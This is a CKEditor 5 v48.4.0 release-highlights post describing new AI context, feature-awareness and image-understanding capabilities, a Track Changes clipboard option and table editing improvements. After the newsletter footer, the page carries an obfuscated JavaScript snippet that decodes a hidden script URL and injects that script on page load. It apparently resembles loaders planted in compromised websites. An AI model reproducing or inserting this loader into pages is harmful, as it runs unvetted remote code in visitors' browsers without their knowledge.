CKEditor 5 v48.4.0 Release Highlights: AI Context Library and Image Understanding

CKEditor 5 v48.4.0 grounds CKEditor AI in your own prompts, files, and editor setup, adds image understanding, and improves table editing.

This release grounds CKEditor AI in your own knowledge. The new Context Library lets the AI work with your organization’s prompts and reference files, feature understanding keeps its output inside what your editor is configured to do, and image understanding lets it read the pictures in your document. Alongside the AI work, Track Changes gains control over how suggestions behave on the clipboard, and the Tables feature picks up several everyday editing improvements.

The AI additions share a theme: making the assistant more grounded and more governable. The context is managed centrally, so teams get consistent AI behaviour and controllable output without the need to add the context manually before every single interaction with the AI Chat. Feature understanding keeps the AI aware of which features your editor actually has and how they are configured, so it works in your setup rather than producing content it cannot represent. Outside AI, the table upgrades target multi-cell splitting, wide-table scrolling, and pixel-based column widths, and formatting is now preserved when you insert a block widget like an image or a table.

CKEditor AI features NEW

Context Library NEW

CKEditor AI can now draw on your organization’s own knowledge when it writes, reviews, and translates, instead of working from generic instructions alone. A context is a named container kept on the AI service that holds reusable prompts and reference files, such as a style guide, a glossary, or a set of compliance rules. You configure it once, and every AI Chat conversation, Quick Action, Review, and Translate your users run follows it.

This goes further than attaching a document to a single Chat conversation. Your context lives on the service, an administrator or integrator manages it, and it stays invisible to the person editing. It initiates on every request, so updating a prompt or swapping a file changes how the AI behaves across your whole setup without any redeployment, and the curated instructions never reach the frontend or show up in request traffic.

You attach a context at the level that matches how widely its knowledge should apply. Rules that must hold everywhere, like house style or compliance, can be applied across the environment by an administrator. Knowledge that depends on what is being edited, such as the terminology for a particular document type, can be attached per editor instance through the config.ai.defaultContext option. Material needed by a single operation can be referenced per call, including in programmatic flows.

Read the Context Library documentation for the full setup.

Feature and configuration awarenessNEW

AI Chat now produces changes that fit the exact editor it is working in. With each chat request, the editor sends a compact snapshot of which features are loaded, and how they are configured, so the response stays within what your setup can represent. If your editor has no tables, the AI will not return any. If you allow only certain heading levels, font sizes, or colors, it keeps to those exact values. As a result, AI changes apply cleanly without the editor having to drop or reshape anything it cannot render.

The same request in two editors: without the tables feature, CKEditor AI recognizes it cannot create a table and offers a list instead, then with tables enabled, it returns the table as asked.

Feature understanding works without the need of configuration, and this release is only the first iteration. Support for custom plugins, features that pull data from your application, and working with comments and suggestions is on the way.

See feature understanding and configuration awareness documentation for more.

Image understanding NEW

CKEditor AI can now read the images inside your document, not just the text around them. It can describe an image, generate a caption for it, or take what an image shows into account when editing the surrounding content. This works in both AI Chat and document processing.

Images on a public URL need no setup. For images kept behind authentication, such as a private CDN, configuration options are available.

See the image analysis guide for more details.

Track Changes: clipboard behaviour

Track Changes now lets you decide what ends up on the clipboard when content carrying suggestions is copied or cut. By default, the selection is placed on the clipboard exactly as it stands in the editor, unresolved deletion and additions suggestions and all.

With the new configuration option, config.trackChanges.clipboardMode when set to accept , the clipboard instead holds the resolved text, as though the suggestions had been accepted, while the source document and its suggestions remain untouched.

Some  block-level suggestions cannot be resolved for the clipboard this way but regardless, the mode is useful for when you want to copy the version with final wording rather than the version still in progress.

See the clipboard integration section in the Track Changes documentation for more details.

Tables: working with larger tables

The release brings a set of Tables improvements for working with larger and wider tables, with more control over sizing and structure as well as ability to edit multiple cells at once.

  • Split multiple cells at once. Select several cells and split them all horizontally or vertically in a single action, instead of repeating the split cell by cell.

  • Horizontal scrolling for wide tables. Add the new TableScroll plugin and tables wider than the editor scroll horizontally rather than overflowing or squeezing the page layout

  • Column resizing now supports pixel values, not just percentages. Column width follows the table’s own unit, so a table sized in pixels gets pixel-based columns that stay consistent as you resize. You can also enter an exact pixel width for each column through the cell width field.

See the Tables documentation to learn more about the improvements.

Formatting around block widgets

Formatting is now preserved when you insert a block widget such as an image or a table. So bold, italic, and font styles carry straight over and you can keep writing without setting them up again.

Other updates

  • CKEditor AI now works with inline roots across AI Chat, Quick Actions, Review, and Translate.

  • Programmatic AI actions now support multi-root editors and multi-editor Context setups, and processDocument() accepts new capabilities options that enable reasoning and web search.

  • The AI suggestion status indicators for accepted, rejected and outdated suggestions have a refreshed look, and the Outdated indicator now shows a reason-specific tooltip explaining why the suggestion became stale.

  • Content-modifying AI interactions are now disabled when the target editor is read-only. In setups with multiple editors this is decided per editor, so interactions targeting editable editors stay available.

This release also includes several stability and memory fixes, and a few minor breaking changes affecting the AI Translate, AI Review, and Document Processing APIs as well as several other feature improvements. See the changelog for the complete list.

Learn more about previous CKEditor 5 versions

Previous Post

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

contact_confirmation
policy
eventId

Input email to subscribe to newsletter

Subscription failed

Thanks for subscribing!

HiddenGatedContent.

window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });